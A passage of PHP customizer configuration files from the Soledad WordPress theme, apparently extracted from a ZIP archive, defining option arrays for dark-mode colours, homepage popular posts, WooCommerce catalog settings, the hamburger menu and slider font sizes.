	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => __( 'General Heading Text Color', 'soledad' ),
	'id'       => 'penci_heading_color_dark',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => __( 'Text Color', 'soledad' ),
	'id'       => 'penci_dm_text_color_dark',
	'default'  => '#afafaf',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);

$options[] = array(
	'label'    => __( 'Posts Meta Color', 'soledad' ),
	'id'       => 'penci_dm_meta_color_dark',
	'default'  => '#949494',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => esc_html__( 'Dark Mode Switcher Button', 'soledad' ),
	'id'       => 'penci_dm_switcher_heading_01',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);

$options[] = array(
	'label'    => __( 'General Background Color', 'soledad' ),
	'id'       => 'penci_dm_bg_color',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);

$options[] = array(
	'label'    => __( 'Day Button/Icon Color', 'soledad' ),
	'id'       => 'penci_dm_d_color',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);

$options[] = array(
	'label'    => __( 'Day Button/Icon Background Color', 'soledad' ),
	'id'       => 'penci_dm_d_bgcolor',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);

$options[] = array(
	'label'    => __( 'Night Button/Icon Color', 'soledad' ),
	'id'       => 'penci_dm_n_color',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);

$options[] = array(
	'label'    => __( 'Night Button/Icon Background Color', 'soledad' ),
	'id'       => 'penci_dm_n_bgcolor',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);

return $options;
PK     N\ZQ  Q  O  inc/customizer/config/sections/penci_section_homepage_popular_posts_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Popular Posts on HomePage', 'soledad' ),
	'id'       => 'penci_enable_home_popular_posts',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '10',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts on Popular Posts', 'soledad' ),
	'id'       => 'penci_home_popular_post_numberposts',
	'ids'      => array(
		'desktop' => 'penci_home_popular_post_numberposts',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '10',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Display Home Popular Posts on', 'soledad' ),
	'id'       => 'penci_home_popular_type',
	'type'     => 'soledad-fw-select',
	'choices'  => array_merge( penci_jetpack_option(), array(
		''      => __('All Time','soledad' ),
		'week'  => __('Once Weekly','soledad' ),
		'month' => __('Once a Month','soledad' ),
	) )
);
$options[] = array(
	'default'  => 'Popular Posts',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Custom Title for Home Popular Posts Box', 'soledad' ),
	'id'       => 'penci_home_popular_title',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => '0',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Filter Home Popular Posts by A Category', 'soledad' ),
	'id'       => 'penci_home_popular_cat',
	'type'     => 'soledad-fw-ajax-select',
	'choices'  => call_user_func( function () {
		$category = [ '' ];
		$count    = wp_count_terms( 'category' );
		$limit    = 99;
		if ( (int) $count <= $limit ) {
			$categories = get_categories( [
				'hide_empty'   => false,
				'hierarchical' => true,
			] );
			foreach ( $categories as $value ) {
				$category[ $value->term_id ] = $value->name;
			}
		} else {
			$selected = get_theme_mod( 'penci_top_bar_category' );
			if ( ! empty( $selected ) ) {
				$categories = get_categories( [
					'hide_empty'   => false,
					'hierarchical' => true,
					'include'      => $selected,
				] );

				foreach ( $categories as $value ) {
					$category[ $value->term_id ] = $value->name;
				}
			}
		}

		return $category;
	} ),
);
$options[] = array(
	'default'  => '8',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Words Length for Post Titles on Popular Posts', 'soledad' ),
	'id'       => 'penci_home_polular_title_length',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_home_polular_title_length',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '8',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase Post Titles for Popular Posts on HomePage', 'soledad' ),
	'id'       => 'penci_lowcase_popular_posts',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Date on Home Popular Posts', 'soledad' ),
	'id'       => 'penci_hide_date_home_popular',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Post Format Icons on Home Popular Posts', 'soledad' ),
	'id'       => 'penci_enable_home_popular_icons',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Prev/Next Buttons on Home Popular Posts', 'soledad' ),
	'id'       => 'penci_home_popular_shownav',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Dots on Home Popular Posts', 'soledad' ),
	'id'       => 'penci_home_popular_hidedots',
	'type'     => 'soledad-fw-toggle',
);

return $options;
PK     N\< 4   4  J  inc/customizer/config/sections/pencidesign_woo_product_catalog_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '24',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Total Products Display Per Page', 'soledad' ),
	'id'       => 'penci_woo_post_per_page',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woo_post_per_page',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '24',
		),
	),
);
$options[] = array(
	'id'       => 'penci_catalog_heading_1',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Catalog Tools Settings', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '9,24,36',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Products Per Page Variations', 'soledad' ),
	'id'       => 'penci_woo_post_per_page_variations',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'id'       => 'penci_woo_per_row_columns_selector',
	'default'  => true,
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Show Columns Selector on Shop page', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => 'list-grid',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Shop products view', 'soledad' ),
	'description'=>__('You can set different view mode for the shop page','soledad'),
	'id'          => 'penci_shop_product_view',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'grid'      => __('Grid','soledad' ),
		'list'      => __('List','soledad' ),
		'grid-list' => __('Grid/List','soledad' ),
		'list-grid' => __('List/Grid','soledad' ),
	)
);
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'AJAX shop', 'soledad' ),
	'description'=>__('Enable AJAX functionality for filter widgets, categories navigation, and pagination on the shop page.','soledad'),
	'id'          => 'penci_woocommerce_ajax_shop',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Scroll to top after AJAX', 'soledad' ),
	'description'=>__('Disable - Enable scroll to top after AJAX.','soledad'),
	'id'          => 'penci_woocommerce_ajax_shop_auto_top',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_general_heading_5',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Other Settings', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_woocommerce_search_included_posts',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show blog search results below of product search', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_woocommerce_search_included_total',
	'default'  => 5,
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Total blog item Display under product serch', 'soledad' ),
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woocommerce_search_included_total',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => 5,
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Product Item Settings', 'soledad' ),
	'id'       => 'penci_calalog_heading_1',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'     => 'style-1',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Product Category Style', 'soledad' ),
	'description'=>__('Select the style of the category showing on archive/categories/tags/search','soledad'),
	'id'          => 'penci_woocommerce_product_cat_style',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'style-1' => __('Style 1','soledad' ),
		'style-2' => __('Style 2','soledad' ),
		'style-3' => __('Style 3','soledad' ),
		'style-4' => __('Style 4','soledad' ),
		'style-5' => __('Style 5','soledad' ),
	)
);
$options[] = array(
	'default'     => 'style-1',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Product Item Style', 'soledad' ),
	'description'=>__('Select the style of the product showing on shop/archive/categories/tags/search<br/>.','soledad'),
	'id'          => 'penci_woocommerce_product_style',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'standard' => __('Default','soledad' ),
		'style-1'  => __('Style 1','soledad' ),
		'style-2'  => __('Style 2','soledad' ),
		'style-3'  => __('Style 3','soledad' ),
		'style-4'  => __('Style 4','soledad' ),
		'style-5'  => __('Style 5','soledad' ),
		'style-6'  => __('Style 6','soledad' ),
		'style-7'  => __('Style 7','soledad' ),
	)
);
$options[] = array(
	'default'     => 'round',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Icon Hover Style', 'soledad' ),
	'description'=>__('Select icon hover style on Product Item','soledad'),
	'id'          => 'penci_woocommerce_product_icon_hover_style',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'round' => __('Separate Round','soledad' ),
		'group' => __('Group in Rectangle','soledad' ),
	)
);
$options[] = array(
	'default'     => 'top-left',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Icon Hover Position', 'soledad' ),
	'description'=>__('Select icon hover position on Product Item','soledad'),
	'id'          => 'penci_woocommerce_product_icon_hover_position',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'top-left'      => __('Top left','soledad' ),
		'top-right'     => __('Top Right','soledad' ),
		'bottom-left'   => __('Bottom Left','soledad' ),
		'bottom-right'  => __('Bottom Right','soledad' ),
		'center-top'    => __('Center Top','soledad' ),
		'center-center' => __('Center Center','soledad' ),
		'center-bottom' => __('Center Bottom','soledad' ),
	)
);
$options[] = array(
	'default'     => 'move-right',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Icon Hover Animation', 'soledad' ),
	'description'=>__('Select icon hover animation on Product Item','soledad'),
	'id'          => 'penci_woocommerce_product_icon_hover_animation',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'move-left'   => __('Move to left','soledad' ),
		'move-right'  => __('Move to Right','soledad' ),
		'move-top'    => __('Move to Top','soledad' ),
		'move-bottom' => __('Move to Bottom','soledad' ),
		'fade'        => __('Fade In','soledad' ),
		'zoom'        => __('Zoom In','soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Hover Image on Product Catalog ?', 'soledad' ),
	'id'       => 'penci_woocommerce_product_hover_img',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show product category ?', 'soledad' ),
	'description'=>__('Display product category link below the product title.','soledad'),
	'id'          => 'penci_woocommerce_loop_category',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_woocommerce_loop_rating',
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show product star rating ?', 'soledad' ),
	'description'=>__('Display product loop rating below the product title.','soledad'),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Login to see add to cart and prices', 'soledad' ),
	'description'=>__('You can restrict shopping functions only for logged in customers.','soledad'),
	'id'          => 'penci_woocommerce_restrict_cart_price',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Quick Select Options on Product', 'soledad' ),
	'description'=>__('Allow customers purchase product on hover content.','soledad'),
	'id'          => 'penci_woocommerce_product_quick_shop',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Limit Product Title Length', 'soledad' ),
	'desc'     => 'Enter the custom length of the product title you want to display',
	'id'       => 'penci_woo_limit_product_title',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woo_limit_product_title',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => '',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Limit Product Excerpt Length', 'soledad' ),
	'desc'     => 'Enter the custom length of the product summary you want to display',
	'id'       => 'penci_woo_limit_product_excerpt',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woo_limit_product_excerpt',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => '',
		),
	),
);
if ( function_exists( 'penci_product_attributes_array' ) && function_exists( 'wc_get_attribute_taxonomies' ) ) {
	$options[] = array(
		'default'     => false,
		'sanitize'    => 'penci_sanitize_choices_field',
		'label'       => __( 'Grid swatch attribute to display', 'soledad' ),
		'description'=>__('Choose the attribute that will be shown on the product grid.','soledad'),
		'id'          => 'penci_woocommerce_grid_swatch',
		'type'        => 'soledad-fw-ajax-select',
		'choices'     => call_user_func( function () {
			$attributes = array();
			foreach ( wc_get_attribute_taxonomies() as $attribute ) {
				$attributes[ 'pa_' . $attribute->attribute_name ] = $attribute->attribute_label;
			}

			return $attributes;
		} ),
	);
}
$options[] = array(
	'default'  => '5',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'label'    => __( 'Limit swatches on grid ', 'soledad' ),
	'id'       => 'penci_woocommerce_grid_swatch_limit',
	'ids'      => array(
		'desktop' => 'penci_woocommerce_grid_swatch_limit',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '5',
		),
	),
);
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Product Swatches Shop Cache', 'soledad' ),
	'description'=>__('By default, Soledad using cache to speed up Query for swatch image. Uncheck this option to disable/debug.','soledad'),
	'id'          => 'penci_woocommerce_grid_swatch_cache',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Catalog Columns Settings', 'soledad' ),
	'id'       => 'penci_catalog_heading_4',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'     => 4,
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Categories Columns', 'soledad' ),
	'description'=>__('How many category should be shown per row on section ?','soledad'),
	'id'          => 'penci_shop_cat_columns',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		2 => __('2 Columns','soledad' ),
		3 => __('3 Columns','soledad' ),
		4 => __('4 Columns','soledad' ),
		5 => __('5 Columns','soledad' ),
		6 => __('6 Columns','soledad' ),
	)
);
$options[] = array(
	'default'     => 'grid',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Categories Display Style', 'soledad' ),
	'description'=>__('Select the category displays style on shop/category page','soledad'),
	'id'          => 'penci_shop_cat_display_type',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'grid'     => __('Grid','soledad' ),
		'carousel' => __('Carousel','soledad' ),
	)
);
$options[] = array(
	'default'     => 3,
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Products per row on Desktop', 'soledad' ),
	'description'=>__('How many products should be shown per row on desktop ?','soledad'),
	'type'        => 'soledad-fw-select',
	'id'          => 'penci_shop_product_columns',
	'choices'     => array(
		2 => __('2 Columns','soledad' ),
		3 => __('3 Columns','soledad' ),
		4 => __('4 Columns','soledad' ),
		5 => __('5 Columns','soledad' ),
		6 => __('6 Columns','soledad' ),
	)
);
$options[] = array(
	'default'     => 2,
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Products per row on Mobile', 'soledad' ),
	'description'=>__('How many products should be shown per row on mobile ?','soledad'),
	'id'          => 'penci_shop_product_mobile_columns',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		1 => __('1 Column','soledad' ),
		2 => __('2 Columns','soledad' ),
	)
);

return $options;
PK     N\'t-)  -)  9  inc/customizer/config/sections/penci_menu_hbg_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Enable Menu Hamburger', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_menu_hbg_show',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Enable Vertical Navigation', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_vertical_nav_show',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Completely Delete The Header When Enable Vertical Navigation', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_vertical_nav_remove_header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Hide Menu Hamburger Icon Display on Horizontal Navigation on Mobile', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_menu_hbg_mobile',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Use Penci Block Content', 'soledad' ),
	'id'       => 'penci_vertical_block',
	'type'     => 'soledad-fw-ajax-select',
	'choices'     => call_user_func( function () {
		$builder_layout  = [ '' => __( '- Select -', 'soledad' ) ];
		$builder_layouts = get_posts( [
			'post_type'      => 'penci-block',
			'posts_per_page' => - 1,
		] );

		foreach ( $builder_layouts as $builder_builder ) {
			$builder_layout[ $builder_builder->post_name ] = $builder_builder->post_title;
		}

		return $builder_layout;
	} ),
);
$options[] = array(
	'type'     => 'soledad-fw-image',
	'sanitize' => 'esc_url_raw',
	'label'    => esc_html__( 'Set A Background Image', 'soledad' ),
	'id'       => 'penci_menu_hbg_bgimg',
);
$options[] = array(
	'default'     => '330',
	'sanitize'    => 'absint',
	'label'       => __( 'Custom Width for Vertical Nav & Menu Hamburger', 'soledad' ),
	'description' => __( 'Min is 250px, Max is 500px', 'soledad' ),
	'id'          => 'penci_hbg_width',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_hbg_width',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '330',
		),
	),
);
$options[] = array(
	'default'     => '18',
	'sanitize'    => 'absint',
	'label'       => __( 'Custom Size for Hamburger Menu Icon', 'soledad' ),
	'description' => __( 'Min is 14px, Max is 30px', 'soledad' ),
	'id'          => 'penci_hbg_size_icon',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_hbg_size_icon',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '18',
		),
	),
);
$options[] = array(
	'default'  => 'left',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => esc_html__( 'Position in Page', 'soledad' ),
	'id'       => 'penci_menu_hbg_pos',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'left'  => esc_html__( 'Left', 'soledad' ),
		'right' => esc_html__( 'Right', 'soledad' )
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Hide Logo', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_menu_hbg_hide_logo',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => esc_html__( 'Custom Logo Image', 'soledad' ),
	'id'       => 'penci_menu_hbg_logo',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Custom Link for Logo Image', 'soledad' ),
	'id'       => 'penci_custom_logo_hamburger',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Set A Max Width for Logo Image', 'soledad' ),
	'id'       => 'penci_hbg_logo_max_width',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_hbg_logo_max_width',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => esc_html__( 'Add Site Title', 'soledad' ),
	'id'       => 'penci_menu_hbg_sitetitle',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => '18',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Site Title', 'soledad' ),
	'id'       => 'penci_hbg_sitetitle_size',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_hbg_sitetitle_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '18',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => esc_html__( 'Add Site Description', 'soledad' ),
	'id'       => 'penci_menu_hbg_desc',
	'type'     => 'soledad-fw-textarea',
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Site Description', 'soledad' ),
	'id'       => 'penci_hbg_sitedes_size',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_hbg_sitedes_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Add Search Form Below Site Description', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_menu_hbg_show_search',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Select Custom Menu to Display on Primary Menu', 'soledad' ),
	'id'       => 'penci_menu_hbg_primary',
	'type'     => 'soledad-fw-ajax-select',
	'choices'  => call_user_func( function () {
		$menu_list = [ '' => '' ];
		$menus     = wp_get_nav_menus();
		if ( ! empty( $menus ) ) {
			foreach ( $menus as $menu ) {
				$menu_list[ $menu->slug ] = $menu->name;
			}
		}

		return $menu_list;
	} ),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Hide Primary Menu', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_menu_hbg_hide_menu',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable click on Parent Menu Item to open Child Menu Items', 'soledad' ),
	'description' => __( 'By default, you need to click to the arrow on the right side to open child menu items - this option will help you click on the parent menu items to open child menu items', 'soledad' ),
	'id'          => 'penci_menu_hbg_click_parent',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Disable Uppercase on Primary Menu Items', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_menu_hbg_lowcase',
);
$options[] = array(
	'default'  => '13',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Primary Menu Items', 'soledad' ),
	'id'       => 'penci_font_size_menu_hbg',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_font_size_menu_hbg',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Sub-menu Items', 'soledad' ),
	'id'       => 'penci_font_size_submenu_hbg',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_font_size_submenu_hbg',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Hide Footer Text', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_menu_hbg_hideftext',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Hide Social Icons', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_menu_hbg_hidesocial',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => esc_html__( 'Select Style for Social Icons', 'soledad' ),
	'id'          => 'penci_menuhbg_social_style',
	'description' => __( 'The options for custom colors, background color, border for social icons will does not apply for Brand Color styles', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''                                                => esc_html__( 'Default', 'soledad' ),
		'style-6 penci-social-textcolored'                => esc_html__( 'Icons with Brand Color', 'soledad' ),
		'style-2'                                         => esc_html__( 'Round with Border', 'soledad' ),
		'style-2 hgb-social-style-3'                      => esc_html__( 'Square with Border', 'soledad' ),
		'style-4 penci-social-colored'                    => esc_html__( 'Round with Brand Color', 'soledad' ),
		'style-4 hgb-social-style-5 penci-social-colored' => esc_html__( 'Square with Brand Color', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Social Media Icons', 'soledad' ),
	'id'       => 'penci_menuhbg_icon_size',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_menuhbg_icon_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => esc_html__( 'Custom Footer Text', 'soledad' ),
	'id'       => 'penci_menu_hbg_footer_text',
	'type'     => 'soledad-fw-textarea',
);

return $options;
PK     N\oy3    F  inc/customizer/config/sections/penci_section_fslider_fsize_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'Font Size for Categories on Slider', 'soledad' ),
	'id'       => 'penci_fslider_cat_fsize',
	'ids'      => [
		'desktop' => 'penci_fslider_cat_fsize'
	],
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for Post Meta', 'soledad' ),
	'id'       => 'penci_fslider_meta_fsize',
	'default'  => '13',
	'type'     => 'soledad-fw-size',
	'ids'      => [
		'desktop' => 'penci_fslider_meta_fsize'
	],
	'sanitize' => 'absint',
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles', 'soledad' ),
	'id'       => 'penci_fslider_title_fsize',
	'default'  => '',
